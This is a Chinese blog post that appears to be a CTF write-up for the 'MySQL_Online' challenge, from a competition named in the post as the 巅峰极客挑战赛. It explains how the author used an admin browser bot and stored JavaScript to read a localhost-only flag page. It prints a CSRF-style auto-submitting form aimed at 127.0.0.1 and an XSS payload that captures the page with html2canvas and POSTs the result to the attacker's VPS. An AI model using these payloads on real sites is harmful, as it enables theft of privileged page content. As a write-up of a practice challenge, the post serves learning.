美文网首页
MySQL_Online(xss读取目标同源网页)

MySQL_Online(xss读取目标同源网页)

作者: 白里个白 | 来源:发表于2018-07-23 17:09 被阅读0次

    写在前面

    巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解题过程。

    描述

    主要是XSS,网站中允许输入一个地址,管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面,最后flag藏在一个页面中,该页面在服务器配置时设置只允许127.0.0.1访问,其余为403错误。

    思路

    通过对该网站写入js代码,让127.0.0.1访问我们写好js代码的页面,最后得到flag页面。

    过程

    首先,先写一个自动提交form表单的页面

    <script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
    </form>
    

    当我们让管理员访问这个页面的时候,管理员就会post数据到本地的runsql.php页面,这时runsql.php页面上就会有我们的js数据

    接下来构造js:

    <html>
      <body>
    <iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
        <script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
        <script type="text/javascript">
    var mysql = document.getElementById("mysql").contentWindow.document;
            html2canvas(mysql.body).then(function(canvas) {
    var xmlhttp;
    
      xmlhttp=new XMLHttpRequest();
    
    xmlhttp.open("POST","your vsp",true);
    
    xmlhttp.send(canvas.toDataURL());
    });
        </script>
      </body>
    </html>
    

    这个页面会自动获取同源网页的页面,然后发送到vps上。最后就能得到flag了。


    admin_zzzz666.php

    相关文章

      网友评论

          本文标题:MySQL_Online(xss读取目标同源网页)

          本文链接:https://www.haomeiwen.com/subject/qimkmftx.html